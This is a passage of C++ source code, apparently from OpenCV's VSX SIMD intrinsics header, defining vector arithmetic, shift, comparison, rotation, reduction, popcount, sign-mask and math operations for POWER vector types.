vec_ushort8 efgh = vec_pack(ef, gh);
return v_uint8x16(vec_pack(abcd, efgh));
}
/* Recombine */
template <typename _Tpvec>
inline void v_zip(const _Tpvec& a0, const _Tpvec& a1, _Tpvec& b0, _Tpvec& b1)
{
b0.val = vec_mergeh(a0.val, a1.val);
b1.val = vec_mergel(a0.val, a1.val);
}
template <typename _Tpvec>
inline _Tpvec v_combine_high(const _Tpvec& a, const _Tpvec& b)
{ return _Tpvec(vec_mergesql(a.val, b.val)); }
template <typename _Tpvec>
inline _Tpvec v_combine_low(const _Tpvec& a, const _Tpvec& b)
{ return _Tpvec(vec_mergesqh(a.val, b.val)); }
template <typename _Tpvec>
inline void v_recombine(const _Tpvec& a, const _Tpvec& b, _Tpvec& c, _Tpvec& d)
{
c.val = vec_mergesqh(a.val, b.val);
d.val = vec_mergesql(a.val, b.val);
}
////////// Arithmetic, bitwise and comparison operations /////////
/* Element-wise binary and unary operations */
/** Arithmetics **/
#define OPENCV_HAL_IMPL_VSX_BIN_OP(bin_op, _Tpvec, intrin) \
inline _Tpvec operator bin_op (const _Tpvec& a, const _Tpvec& b) \
{ return _Tpvec(intrin(a.val, b.val)); } \
inline _Tpvec& operator bin_op##= (_Tpvec& a, const _Tpvec& b) \
{ a.val = intrin(a.val, b.val); return a; }
OPENCV_HAL_IMPL_VSX_BIN_OP(+, v_uint8x16, vec_adds)
OPENCV_HAL_IMPL_VSX_BIN_OP(-, v_uint8x16, vec_subs)
OPENCV_HAL_IMPL_VSX_BIN_OP(+, v_int8x16, vec_adds)
OPENCV_HAL_IMPL_VSX_BIN_OP(-, v_int8x16, vec_subs)
OPENCV_HAL_IMPL_VSX_BIN_OP(+, v_uint16x8, vec_adds)
OPENCV_HAL_IMPL_VSX_BIN_OP(-, v_uint16x8, vec_subs)
OPENCV_HAL_IMPL_VSX_BIN_OP(+, v_int16x8, vec_adds)
OPENCV_HAL_IMPL_VSX_BIN_OP(-, v_int16x8, vec_subs)
OPENCV_HAL_IMPL_VSX_BIN_OP(+, v_uint32x4, vec_add)
OPENCV_HAL_IMPL_VSX_BIN_OP(-, v_uint32x4, vec_sub)
OPENCV_HAL_IMPL_VSX_BIN_OP(*, v_uint32x4, vec_mul)
OPENCV_HAL_IMPL_VSX_BIN_OP(+, v_int32x4, vec_add)
OPENCV_HAL_IMPL_VSX_BIN_OP(-, v_int32x4, vec_sub)
OPENCV_HAL_IMPL_VSX_BIN_OP(*, v_int32x4, vec_mul)
OPENCV_HAL_IMPL_VSX_BIN_OP(+, v_float32x4, vec_add)
OPENCV_HAL_IMPL_VSX_BIN_OP(-, v_float32x4, vec_sub)
OPENCV_HAL_IMPL_VSX_BIN_OP(*, v_float32x4, vec_mul)
OPENCV_HAL_IMPL_VSX_BIN_OP(/, v_float32x4, vec_div)
OPENCV_HAL_IMPL_VSX_BIN_OP(+, v_float64x2, vec_add)
OPENCV_HAL_IMPL_VSX_BIN_OP(-, v_float64x2, vec_sub)
OPENCV_HAL_IMPL_VSX_BIN_OP(*, v_float64x2, vec_mul)
OPENCV_HAL_IMPL_VSX_BIN_OP(/, v_float64x2, vec_div)
OPENCV_HAL_IMPL_VSX_BIN_OP(+, v_uint64x2, vec_add)
OPENCV_HAL_IMPL_VSX_BIN_OP(-, v_uint64x2, vec_sub)
OPENCV_HAL_IMPL_VSX_BIN_OP(+, v_int64x2, vec_add)
OPENCV_HAL_IMPL_VSX_BIN_OP(-, v_int64x2, vec_sub)
// saturating multiply
#define OPENCV_HAL_IMPL_VSX_MUL_SAT(_Tpvec, _Tpwvec) \
inline _Tpvec operator * (const _Tpvec& a, const _Tpvec& b) \
{ \
_Tpwvec c, d; \
v_mul_expand(a, b, c, d); \
return v_pack(c, d); \
} \
inline _Tpvec& operator *= (_Tpvec& a, const _Tpvec& b) \
{ a = a * b; return a; }
OPENCV_HAL_IMPL_VSX_MUL_SAT(v_int8x16, v_int16x8)
OPENCV_HAL_IMPL_VSX_MUL_SAT(v_uint8x16, v_uint16x8)
OPENCV_HAL_IMPL_VSX_MUL_SAT(v_int16x8, v_int32x4)
OPENCV_HAL_IMPL_VSX_MUL_SAT(v_uint16x8, v_uint32x4)
template<typename Tvec, typename Twvec>
inline void v_mul_expand(const Tvec& a, const Tvec& b, Twvec& c, Twvec& d)
{
Twvec p0 = Twvec(vec_mule(a.val, b.val));
Twvec p1 = Twvec(vec_mulo(a.val, b.val));
v_zip(p0, p1, c, d);
}
inline v_int16x8 v_mul_hi(const v_int16x8& a, const v_int16x8& b)
{
vec_int4 p0 = vec_mule(a.val, b.val);
vec_int4 p1 = vec_mulo(a.val, b.val);
static const vec_uchar16 perm = {2, 3, 18, 19, 6, 7, 22, 23, 10, 11, 26, 27, 14, 15, 30, 31};
return v_int16x8(vec_perm(vec_short8_c(p0), vec_short8_c(p1), perm));
}
inline v_uint16x8 v_mul_hi(const v_uint16x8& a, const v_uint16x8& b)
{
vec_uint4 p0 = vec_mule(a.val, b.val);
vec_uint4 p1 = vec_mulo(a.val, b.val);
static const vec_uchar16 perm = {2, 3, 18, 19, 6, 7, 22, 23, 10, 11, 26, 27, 14, 15, 30, 31};
return v_uint16x8(vec_perm(vec_ushort8_c(p0), vec_ushort8_c(p1), perm));
}
/** Non-saturating arithmetics **/
#define OPENCV_HAL_IMPL_VSX_BIN_FUNC(func, intrin) \
template<typename _Tpvec> \
inline _Tpvec func(const _Tpvec& a, const _Tpvec& b) \
{ return _Tpvec(intrin(a.val, b.val)); }
OPENCV_HAL_IMPL_VSX_BIN_FUNC(v_add_wrap, vec_add)
OPENCV_HAL_IMPL_VSX_BIN_FUNC(v_sub_wrap, vec_sub)
OPENCV_HAL_IMPL_VSX_BIN_FUNC(v_mul_wrap, vec_mul)
/** Bitwise shifts **/
#define OPENCV_HAL_IMPL_VSX_SHIFT_OP(_Tpvec, shr, splfunc) \
inline _Tpvec operator << (const _Tpvec& a, int imm) \
{ return _Tpvec(vec_sl(a.val, splfunc(imm))); } \
inline _Tpvec operator >> (const _Tpvec& a, int imm) \
{ return _Tpvec(shr(a.val, splfunc(imm))); } \
template<int imm> inline _Tpvec v_shl(const _Tpvec& a) \
{ return _Tpvec(vec_sl(a.val, splfunc(imm))); } \
template<int imm> inline _Tpvec v_shr(const _Tpvec& a) \
{ return _Tpvec(shr(a.val, splfunc(imm))); }
OPENCV_HAL_IMPL_VSX_SHIFT_OP(v_uint8x16, vec_sr, vec_uchar16_sp)
OPENCV_HAL_IMPL_VSX_SHIFT_OP(v_uint16x8, vec_sr, vec_ushort8_sp)
OPENCV_HAL_IMPL_VSX_SHIFT_OP(v_uint32x4, vec_sr, vec_uint4_sp)
OPENCV_HAL_IMPL_VSX_SHIFT_OP(v_uint64x2, vec_sr, vec_udword2_sp)
// algebraic right shift
OPENCV_HAL_IMPL_VSX_SHIFT_OP(v_int8x16, vec_sra, vec_uchar16_sp)
OPENCV_HAL_IMPL_VSX_SHIFT_OP(v_int16x8, vec_sra, vec_ushort8_sp)
OPENCV_HAL_IMPL_VSX_SHIFT_OP(v_int32x4, vec_sra, vec_uint4_sp)
OPENCV_HAL_IMPL_VSX_SHIFT_OP(v_int64x2, vec_sra, vec_udword2_sp)
/** Bitwise logic **/
#define OPENCV_HAL_IMPL_VSX_LOGIC_OP(_Tpvec) \
OPENCV_HAL_IMPL_VSX_BIN_OP(&, _Tpvec, vec_and) \
OPENCV_HAL_IMPL_VSX_BIN_OP(|, _Tpvec, vec_or) \
OPENCV_HAL_IMPL_VSX_BIN_OP(^, _Tpvec, vec_xor) \
inline _Tpvec operator ~ (const _Tpvec& a) \
{ return _Tpvec(vec_not(a.val)); }
OPENCV_HAL_IMPL_VSX_LOGIC_OP(v_uint8x16)
OPENCV_HAL_IMPL_VSX_LOGIC_OP(v_int8x16)
OPENCV_HAL_IMPL_VSX_LOGIC_OP(v_uint16x8)
OPENCV_HAL_IMPL_VSX_LOGIC_OP(v_int16x8)
OPENCV_HAL_IMPL_VSX_LOGIC_OP(v_uint32x4)
OPENCV_HAL_IMPL_VSX_LOGIC_OP(v_int32x4)
OPENCV_HAL_IMPL_VSX_LOGIC_OP(v_uint64x2)
OPENCV_HAL_IMPL_VSX_LOGIC_OP(v_int64x2)
OPENCV_HAL_IMPL_VSX_LOGIC_OP(v_float32x4)
OPENCV_HAL_IMPL_VSX_LOGIC_OP(v_float64x2)
/** Bitwise select **/
#define OPENCV_HAL_IMPL_VSX_SELECT(_Tpvec, cast) \
inline _Tpvec v_select(const _Tpvec& mask, const _Tpvec& a, const _Tpvec& b) \
{ return _Tpvec(vec_sel(b.val, a.val, cast(mask.val))); }
OPENCV_HAL_IMPL_VSX_SELECT(v_uint8x16, vec_bchar16_c)
OPENCV_HAL_IMPL_VSX_SELECT(v_int8x16, vec_bchar16_c)
OPENCV_HAL_IMPL_VSX_SELECT(v_uint16x8, vec_bshort8_c)
OPENCV_HAL_IMPL_VSX_SELECT(v_int16x8, vec_bshort8_c)
OPENCV_HAL_IMPL_VSX_SELECT(v_uint32x4, vec_bint4_c)
OPENCV_HAL_IMPL_VSX_SELECT(v_int32x4, vec_bint4_c)
OPENCV_HAL_IMPL_VSX_SELECT(v_float32x4, vec_bint4_c)
OPENCV_HAL_IMPL_VSX_SELECT(v_float64x2, vec_bdword2_c)
/** Comparison **/
#define OPENCV_HAL_IMPL_VSX_INT_CMP_OP(_Tpvec) \
inline _Tpvec operator == (const _Tpvec& a, const _Tpvec& b) \
{ return _Tpvec(vec_cmpeq(a.val, b.val)); } \
inline _Tpvec operator != (const _Tpvec& a, const _Tpvec& b) \
{ return _Tpvec(vec_cmpne(a.val, b.val)); } \
inline _Tpvec operator < (const _Tpvec& a, const _Tpvec& b) \
{ return _Tpvec(vec_cmplt(a.val, b.val)); } \
inline _Tpvec operator > (const _Tpvec& a, const _Tpvec& b) \
{ return _Tpvec(vec_cmpgt(a.val, b.val)); } \
inline _Tpvec operator <= (const _Tpvec& a, const _Tpvec& b) \
{ return _Tpvec(vec_cmple(a.val, b.val)); } \
inline _Tpvec operator >= (const _Tpvec& a, const _Tpvec& b) \
{ return _Tpvec(vec_cmpge(a.val, b.val)); }
OPENCV_HAL_IMPL_VSX_INT_CMP_OP(v_uint8x16)
OPENCV_HAL_IMPL_VSX_INT_CMP_OP(v_int8x16)
OPENCV_HAL_IMPL_VSX_INT_CMP_OP(v_uint16x8)
OPENCV_HAL_IMPL_VSX_INT_CMP_OP(v_int16x8)
OPENCV_HAL_IMPL_VSX_INT_CMP_OP(v_uint32x4)
OPENCV_HAL_IMPL_VSX_INT_CMP_OP(v_int32x4)
OPENCV_HAL_IMPL_VSX_INT_CMP_OP(v_float32x4)
OPENCV_HAL_IMPL_VSX_INT_CMP_OP(v_float64x2)
OPENCV_HAL_IMPL_VSX_INT_CMP_OP(v_uint64x2)
OPENCV_HAL_IMPL_VSX_INT_CMP_OP(v_int64x2)
inline v_float32x4 v_not_nan(const v_float32x4& a)
{ return v_float32x4(vec_cmpeq(a.val, a.val)); }
inline v_float64x2 v_not_nan(const v_float64x2& a)
{ return v_float64x2(vec_cmpeq(a.val, a.val)); }
/** min/max **/
OPENCV_HAL_IMPL_VSX_BIN_FUNC(v_min, vec_min)
OPENCV_HAL_IMPL_VSX_BIN_FUNC(v_max, vec_max)
/** Rotate **/
#define OPENCV_IMPL_VSX_ROTATE(_Tpvec, suffix, shf, cast) \
template<int imm> \
inline _Tpvec v_rotate_##suffix(const _Tpvec& a) \
{ \
const int wd = imm * sizeof(typename _Tpvec::lane_type); \
if (wd > 15) \
return _Tpvec(); \
return _Tpvec((cast)shf(vec_uchar16_c(a.val), vec_uchar16_sp(wd << 3))); \
}
#define OPENCV_IMPL_VSX_ROTATE_LR(_Tpvec, cast) \
OPENCV_IMPL_VSX_ROTATE(_Tpvec, left, vec_slo, cast) \
OPENCV_IMPL_VSX_ROTATE(_Tpvec, right, vec_sro, cast)
OPENCV_IMPL_VSX_ROTATE_LR(v_uint8x16, vec_uchar16)
OPENCV_IMPL_VSX_ROTATE_LR(v_int8x16, vec_char16)
OPENCV_IMPL_VSX_ROTATE_LR(v_uint16x8, vec_ushort8)
OPENCV_IMPL_VSX_ROTATE_LR(v_int16x8, vec_short8)
OPENCV_IMPL_VSX_ROTATE_LR(v_uint32x4, vec_uint4)
OPENCV_IMPL_VSX_ROTATE_LR(v_int32x4, vec_int4)
OPENCV_IMPL_VSX_ROTATE_LR(v_float32x4, vec_float4)
OPENCV_IMPL_VSX_ROTATE_LR(v_uint64x2, vec_udword2)
OPENCV_IMPL_VSX_ROTATE_LR(v_int64x2, vec_dword2)
OPENCV_IMPL_VSX_ROTATE_LR(v_float64x2, vec_double2)
template<int imm, typename _Tpvec>
inline _Tpvec v_rotate_right(const _Tpvec& a, const _Tpvec& b)
{
enum { CV_SHIFT = 16 - imm * (sizeof(typename _Tpvec::lane_type)) };
if (CV_SHIFT == 16)
return a;
#ifdef __IBMCPP__
return _Tpvec(vec_sld(b.val, a.val, CV_SHIFT & 15));
#else
return _Tpvec(vec_sld(b.val, a.val, CV_SHIFT));
#endif
}
template<int imm, typename _Tpvec>
inline _Tpvec v_rotate_left(const _Tpvec& a, const _Tpvec& b)
{
enum { CV_SHIFT = imm * (sizeof(typename _Tpvec::lane_type)) };
if (CV_SHIFT == 16)
return b;
return _Tpvec(vec_sld(a.val, b.val, CV_SHIFT));
}
#define OPENCV_IMPL_VSX_ROTATE_64_2RG(_Tpvec, suffix, rg1, rg2) \
template<int imm> \
inline _Tpvec v_rotate_##suffix(const _Tpvec& a, const _Tpvec& b) \
{ \
if (imm == 1) \
return _Tpvec(vec_permi(rg1.val, rg2.val, 2)); \
return imm ? b : a; \
}
#define OPENCV_IMPL_VSX_ROTATE_64_2RG_LR(_Tpvec) \
OPENCV_IMPL_VSX_ROTATE_64_2RG(_Tpvec, left, b, a) \
OPENCV_IMPL_VSX_ROTATE_64_2RG(_Tpvec, right, a, b)
OPENCV_IMPL_VSX_ROTATE_64_2RG_LR(v_float64x2)
OPENCV_IMPL_VSX_ROTATE_64_2RG_LR(v_uint64x2)
OPENCV_IMPL_VSX_ROTATE_64_2RG_LR(v_int64x2)
/* Reverse */
inline v_uint8x16 v_reverse(const v_uint8x16 &a)
{
static const vec_uchar16 perm = {15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0};
vec_uchar16 vec = (vec_uchar16)a.val;
return v_uint8x16(vec_perm(vec, vec, perm));
}
inline v_int8x16 v_reverse(const v_int8x16 &a)
{ return v_reinterpret_as_s8(v_reverse(v_reinterpret_as_u8(a))); }
inline v_uint16x8 v_reverse(const v_uint16x8 &a)
{
static const vec_uchar16 perm = {14, 15, 12, 13, 10, 11, 8, 9, 6, 7, 4, 5, 2, 3, 0, 1};
vec_uchar16 vec = (vec_uchar16)a.val;
return v_reinterpret_as_u16(v_uint8x16(vec_perm(vec, vec, perm)));
}
inline v_int16x8 v_reverse(const v_int16x8 &a)
{ return v_reinterpret_as_s16(v_reverse(v_reinterpret_as_u16(a))); }
inline v_uint32x4 v_reverse(const v_uint32x4 &a)
{
static const vec_uchar16 perm = {12, 13, 14, 15, 8, 9, 10, 11, 4, 5, 6, 7, 0, 1, 2, 3};
vec_uchar16 vec = (vec_uchar16)a.val;
return v_reinterpret_as_u32(v_uint8x16(vec_perm(vec, vec, perm)));
}
inline v_int32x4 v_reverse(const v_int32x4 &a)
{ return v_reinterpret_as_s32(v_reverse(v_reinterpret_as_u32(a))); }
inline v_float32x4 v_reverse(const v_float32x4 &a)
{ return v_reinterpret_as_f32(v_reverse(v_reinterpret_as_u32(a))); }
inline v_uint64x2 v_reverse(const v_uint64x2 &a)
{
static const vec_uchar16 perm = {8, 9, 10, 11, 12, 13, 14, 15, 0, 1, 2, 3, 4, 5, 6, 7};
vec_uchar16 vec = (vec_uchar16)a.val;
return v_reinterpret_as_u64(v_uint8x16(vec_perm(vec, vec, perm)));
}
inline v_int64x2 v_reverse(const v_int64x2 &a)
{ return v_reinterpret_as_s64(v_reverse(v_reinterpret_as_u64(a))); }
inline v_float64x2 v_reverse(const v_float64x2 &a)
{ return v_reinterpret_as_f64(v_reverse(v_reinterpret_as_u64(a))); }
/* Extract */
template<int s, typename _Tpvec>
inline _Tpvec v_extract(const _Tpvec& a, const _Tpvec& b)
{ return v_rotate_right<s>(a, b); }
////////// Reduce and mask /////////
/** Reduce **/
inline uint v_reduce_sum(const v_uint8x16& a)
{
const vec_uint4 zero4 = vec_uint4_z;
vec_uint4 sum4 = vec_sum4s(a.val, zero4);
return (uint)vec_extract(vec_sums(vec_int4_c(sum4), vec_int4_c(zero4)), 3);
}
inline int v_reduce_sum(const v_int8x16& a)
{
const vec_int4 zero4 = vec_int4_z;
vec_int4 sum4 = vec_sum4s(a.val, zero4);
return (int)vec_extract(vec_sums(sum4, zero4), 3);
}
inline int v_reduce_sum(const v_int16x8& a)
{
const vec_int4 zero = vec_int4_z;
return saturate_cast<int>(vec_extract(vec_sums(vec_sum4s(a.val, zero), zero), 3));
}
inline uint v_reduce_sum(const v_uint16x8& a)
{
const vec_int4 v4 = vec_int4_c(vec_unpackhu(vec_adds(a.val, vec_sld(a.val, a.val, 8))));
return saturate_cast<uint>(vec_extract(vec_sums(v4, vec_int4_z), 3));
}
#define OPENCV_HAL_IMPL_VSX_REDUCE_OP_4(_Tpvec, _Tpvec2, scalartype, suffix, func) \
inline scalartype v_reduce_##suffix(const _Tpvec& a) \
{ \
const _Tpvec2 rs = func(a.val, vec_sld(a.val, a.val, 8)); \
return vec_extract(func(rs, vec_sld(rs, rs, 4)), 0); \
}
OPENCV_HAL_IMPL_VSX_REDUCE_OP_4(v_uint32x4, vec_uint4, uint, sum, vec_add)
OPENCV_HAL_IMPL_VSX_REDUCE_OP_4(v_uint32x4, vec_uint4, uint, max, vec_max)
OPENCV_HAL_IMPL_VSX_REDUCE_OP_4(v_uint32x4, vec_uint4, uint, min, vec_min)
OPENCV_HAL_IMPL_VSX_REDUCE_OP_4(v_int32x4, vec_int4, int, sum, vec_add)
OPENCV_HAL_IMPL_VSX_REDUCE_OP_4(v_int32x4, vec_int4, int, max, vec_max)
OPENCV_HAL_IMPL_VSX_REDUCE_OP_4(v_int32x4, vec_int4, int, min, vec_min)
OPENCV_HAL_IMPL_VSX_REDUCE_OP_4(v_float32x4, vec_float4, float, sum, vec_add)
OPENCV_HAL_IMPL_VSX_REDUCE_OP_4(v_float32x4, vec_float4, float, max, vec_max)
OPENCV_HAL_IMPL_VSX_REDUCE_OP_4(v_float32x4, vec_float4, float, min, vec_min)
inline uint64 v_reduce_sum(const v_uint64x2& a)
{
return vec_extract(vec_add(a.val, vec_permi(a.val, a.val, 3)), 0);
}
inline int64 v_reduce_sum(const v_int64x2& a)
{
return vec_extract(vec_add(a.val, vec_permi(a.val, a.val, 3)), 0);
}
inline double v_reduce_sum(const v_float64x2& a)
{
return vec_extract(vec_add(a.val, vec_permi(a.val, a.val, 3)), 0);
}
#define OPENCV_HAL_IMPL_VSX_REDUCE_OP_8(_Tpvec, _Tpvec2, scalartype, suffix, func) \
inline scalartype v_reduce_##suffix(const _Tpvec& a) \
{ \
_Tpvec2 rs = func(a.val, vec_sld(a.val, a.val, 8)); \
rs = func(rs, vec_sld(rs, rs, 4)); \
return vec_extract(func(rs, vec_sld(rs, rs, 2)), 0); \
}
OPENCV_HAL_IMPL_VSX_REDUCE_OP_8(v_uint16x8, vec_ushort8, ushort, max, vec_max)
OPENCV_HAL_IMPL_VSX_REDUCE_OP_8(v_uint16x8, vec_ushort8, ushort, min, vec_min)
OPENCV_HAL_IMPL_VSX_REDUCE_OP_8(v_int16x8, vec_short8, short, max, vec_max)
OPENCV_HAL_IMPL_VSX_REDUCE_OP_8(v_int16x8, vec_short8, short, min, vec_min)
#define OPENCV_HAL_IMPL_VSX_REDUCE_OP_16(_Tpvec, _Tpvec2, scalartype, suffix, func) \
inline scalartype v_reduce_##suffix(const _Tpvec& a) \
{ \
_Tpvec2 rs = func(a.val, vec_sld(a.val, a.val, 8)); \
rs = func(rs, vec_sld(rs, rs, 4)); \
rs = func(rs, vec_sld(rs, rs, 2)); \
return vec_extract(func(rs, vec_sld(rs, rs, 1)), 0); \
}
OPENCV_HAL_IMPL_VSX_REDUCE_OP_16(v_uint8x16, vec_uchar16, uchar, max, vec_max)
OPENCV_HAL_IMPL_VSX_REDUCE_OP_16(v_uint8x16, vec_uchar16, uchar, min, vec_min)
OPENCV_HAL_IMPL_VSX_REDUCE_OP_16(v_int8x16, vec_char16, schar, max, vec_max)
OPENCV_HAL_IMPL_VSX_REDUCE_OP_16(v_int8x16, vec_char16, schar, min, vec_min)
inline v_float32x4 v_reduce_sum4(const v_float32x4& a, const v_float32x4& b,
const v_float32x4& c, const v_float32x4& d)
{
vec_float4 ac = vec_add(vec_mergel(a.val, c.val), vec_mergeh(a.val, c.val));
ac = vec_add(ac, vec_sld(ac, ac, 8));
vec_float4 bd = vec_add(vec_mergel(b.val, d.val), vec_mergeh(b.val, d.val));
bd = vec_add(bd, vec_sld(bd, bd, 8));
return v_float32x4(vec_mergeh(ac, bd));
}
inline unsigned v_reduce_sad(const v_uint8x16& a, const v_uint8x16& b)
{
const vec_uint4 zero4 = vec_uint4_z;
vec_uint4 sum4 = vec_sum4s(vec_absd(a.val, b.val), zero4);
return (unsigned)vec_extract(vec_sums(vec_int4_c(sum4), vec_int4_c(zero4)), 3);
}
inline unsigned v_reduce_sad(const v_int8x16& a, const v_int8x16& b)
{
const vec_int4 zero4 = vec_int4_z;
vec_char16 ad = vec_abss(vec_subs(a.val, b.val));
vec_int4 sum4 = vec_sum4s(ad, zero4);
return (unsigned)vec_extract(vec_sums(sum4, zero4), 3);
}
inline unsigned v_reduce_sad(const v_uint16x8& a, const v_uint16x8& b)
{
vec_ushort8 ad = vec_absd(a.val, b.val);
VSX_UNUSED(vec_int4) sum = vec_sums(vec_int4_c(vec_unpackhu(ad)) + vec_int4_c(vec_unpacklu(ad)), vec_int4_z);
return (unsigned)vec_extract(sum, 3);
}
inline unsigned v_reduce_sad(const v_int16x8& a, const v_int16x8& b)
{
const vec_int4 zero4 = vec_int4_z;
vec_short8 ad = vec_abss(vec_subs(a.val, b.val));
vec_int4 sum4 = vec_sum4s(ad, zero4);
return (unsigned)vec_extract(vec_sums(sum4, zero4), 3);
}
inline unsigned v_reduce_sad(const v_uint32x4& a, const v_uint32x4& b)
{
const vec_uint4 ad = vec_absd(a.val, b.val);
const vec_uint4 rd = vec_add(ad, vec_sld(ad, ad, 8));
return vec_extract(vec_add(rd, vec_sld(rd, rd, 4)), 0);
}
inline unsigned v_reduce_sad(const v_int32x4& a, const v_int32x4& b)
{
vec_int4 ad = vec_abss(vec_sub(a.val, b.val));
return (unsigned)vec_extract(vec_sums(ad, vec_int4_z), 3);
}
inline float v_reduce_sad(const v_float32x4& a, const v_float32x4& b)
{
const vec_float4 ad = vec_abs(vec_sub(a.val, b.val));
const vec_float4 rd = vec_add(ad, vec_sld(ad, ad, 8));
return vec_extract(vec_add(rd, vec_sld(rd, rd, 4)), 0);
}
/** Popcount **/
inline v_uint8x16 v_popcount(const v_uint8x16& a)
{ return v_uint8x16(vec_popcntu(a.val)); }
inline v_uint8x16 v_popcount(const v_int8x16& a)
{ return v_uint8x16(vec_popcntu(a.val)); }
inline v_uint16x8 v_popcount(const v_uint16x8& a)
{ return v_uint16x8(vec_popcntu(a.val)); }
inline v_uint16x8 v_popcount(const v_int16x8& a)
{ return v_uint16x8(vec_popcntu(a.val)); }
inline v_uint32x4 v_popcount(const v_uint32x4& a)
{ return v_uint32x4(vec_popcntu(a.val)); }
inline v_uint32x4 v_popcount(const v_int32x4& a)
{ return v_uint32x4(vec_popcntu(a.val)); }
inline v_uint64x2 v_popcount(const v_uint64x2& a)
{ return v_uint64x2(vec_popcntu(a.val)); }
inline v_uint64x2 v_popcount(const v_int64x2& a)
{ return v_uint64x2(vec_popcntu(a.val)); }
/** Mask **/
inline int v_signmask(const v_uint8x16& a)
{
static const vec_uchar16 qperm = {120, 112, 104, 96, 88, 80, 72, 64, 56, 48, 40, 32, 24, 16, 8, 0};
return vec_extract((vec_int4)vec_vbpermq(v_reinterpret_as_u8(a).val, qperm), 2);
}
inline int v_signmask(const v_int8x16& a)
{ return v_signmask(v_reinterpret_as_u8(a)); }
inline int v_signmask(const v_int16x8& a)
{
static const vec_uchar16 qperm = {112, 96, 80, 64, 48, 32, 16, 0, 128, 128, 128, 128, 128, 128, 128, 128};
return vec_extract((vec_int4)vec_vbpermq(v_reinterpret_as_u8(a).val, qperm), 2);
}
inline int v_signmask(const v_uint16x8& a)
{ return v_signmask(v_reinterpret_as_s16(a)); }
inline int v_signmask(const v_int32x4& a)
{
static const vec_uchar16 qperm = {96, 64, 32, 0, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128};
return vec_extract((vec_int4)vec_vbpermq(v_reinterpret_as_u8(a).val, qperm), 2);
}
inline int v_signmask(const v_uint32x4& a)
{ return v_signmask(v_reinterpret_as_s32(a)); }
inline int v_signmask(const v_float32x4& a)
{ return v_signmask(v_reinterpret_as_s32(a)); }
inline int v_signmask(const v_int64x2& a)
{
VSX_UNUSED(const vec_dword2) sv = vec_sr(a.val, vec_udword2_sp(63));
return (int)vec_extract(sv, 0) | (int)vec_extract(sv, 1) << 1;
}
inline int v_signmask(const v_uint64x2& a)
{ return v_signmask(v_reinterpret_as_s64(a)); }
inline int v_signmask(const v_float64x2& a)
{ return v_signmask(v_reinterpret_as_s64(a)); }
inline int v_scan_forward(const v_int8x16& a) { return trailingZeros32(v_signmask(a)); }
inline int v_scan_forward(const v_uint8x16& a) { return trailingZeros32(v_signmask(a)); }
inline int v_scan_forward(const v_int16x8& a) { return trailingZeros32(v_signmask(a)); }
inline int v_scan_forward(const v_uint16x8& a) { return trailingZeros32(v_signmask(a)); }
inline int v_scan_forward(const v_int32x4& a) { return trailingZeros32(v_signmask(a)); }
inline int v_scan_forward(const v_uint32x4& a) { return trailingZeros32(v_signmask(a)); }
inline int v_scan_forward(const v_float32x4& a) { return trailingZeros32(v_signmask(a)); }
inline int v_scan_forward(const v_int64x2& a) { return trailingZeros32(v_signmask(a)); }
inline int v_scan_forward(const v_uint64x2& a) { return trailingZeros32(v_signmask(a)); }
inline int v_scan_forward(const v_float64x2& a) { return trailingZeros32(v_signmask(a)); }
template<typename _Tpvec>
inline bool v_check_all(const _Tpvec& a)
{ return vec_all_lt(a.val, _Tpvec().val); }
inline bool v_check_all(const v_uint8x16& a)
{ return v_check_all(v_reinterpret_as_s8(a)); }
inline bool v_check_all(const v_uint16x8& a)
{ return v_check_all(v_reinterpret_as_s16(a)); }
inline bool v_check_all(const v_uint32x4& a)
{ return v_check_all(v_reinterpret_as_s32(a)); }
inline bool v_check_all(const v_uint64x2& a)
{ return v_check_all(v_reinterpret_as_s64(a)); }
inline bool v_check_all(const v_float32x4& a)
{ return v_check_all(v_reinterpret_as_s32(a)); }
inline bool v_check_all(const v_float64x2& a)
{ return v_check_all(v_reinterpret_as_s64(a)); }
template<typename _Tpvec>
inline bool v_check_any(const _Tpvec& a)
{ return vec_any_lt(a.val, _Tpvec().val); }
inline bool v_check_any(const v_uint8x16& a)
{ return v_check_any(v_reinterpret_as_s8(a)); }
inline bool v_check_any(const v_uint16x8& a)
{ return v_check_any(v_reinterpret_as_s16(a)); }
inline bool v_check_any(const v_uint32x4& a)
{ return v_check_any(v_reinterpret_as_s32(a)); }
inline bool v_check_any(const v_uint64x2& a)
{ return v_check_any(v_reinterpret_as_s64(a)); }
inline bool v_check_any(const v_float32x4& a)
{ return v_check_any(v_reinterpret_as_s32(a)); }
inline bool v_check_any(const v_float64x2& a)
{ return v_check_any(v_reinterpret_as_s64(a)); }
////////// Other math /////////
/** Some frequent operations **/
inline v_float32x4 v_sqrt(const v_float32x4& x)
{ return v_float32x4(vec_sqrt(x.val)); }
inline v_float64x2 v_sqrt(const v_float64x2& x)
{ return v_float64x2(vec_sqrt(x.val)); }
inline v_float32x4 v_invsqrt(const v_float32x4& x)
{ return v_float32x4(vec_rsqrt(x.val)); }
inline v_float64x2 v_invsqrt(const v_float64x2& x)
{ return v_float64x2(vec_rsqrt(x.val)); }
#define OPENCV_HAL_IMPL_VSX_MULADD(_Tpvec) \
inline _Tpvec v_magnitude(const _Tpvec& a, const _Tpvec& b) \
{ return _Tpvec(vec_sqrt(vec_madd(a.val, a.val, vec_mul(b.val, b.val)))); } \
inline _Tpvec v_sqr_magnitude(const _Tpvec& a, const _Tpvec& b) \
{ return _Tpvec(vec_madd(a.val, a.val, vec_mul(b.val, b.val))); } \
inline _Tpvec v_fma(const _Tpvec& a, const _Tpvec& b, const _Tpvec& c) \
{ return _Tpvec(vec_madd(a.val, b.val, c.val)); } \
inline _Tpvec v_muladd(const _Tpvec& a, const _Tpvec& b, const _Tpvec& c) \
{ return _Tpvec(vec_madd(a.val, b.val, c.val)); }
OPENCV_HAL_IMPL_VSX_MULADD(v_float32x4)
OPENCV_HAL_IMPL_VSX_MULADD(v_float64x2)
inline v_int32x4 v_muladd(const v_int32x4& a, const v_int32x4& b, const v_int32x4& c)
{ return a * b + c; }
// TODO: exp, log, sin, cos
/** Absolute values **/
inline v_uint8x16 v_abs(const v_int8x16& x)
{ return v_uint8x16(vec_uchar16_c(vec_abs(x.val))); }
inline v_uint16x8 v_abs(const v_int16x8& x)
{ return v_uint16x8(vec_ushort8_c(vec_abs(x.val))); }
inline v_uint32x4 v_abs(const v_int32x4& x)
{ return v_uint32x4(vec_uint4_c(vec_abs(x.val))); }
inline v_float32x4 v_abs(const v_float32x4& x)
{ return v_float32x4(vec_abs(x.val)); }
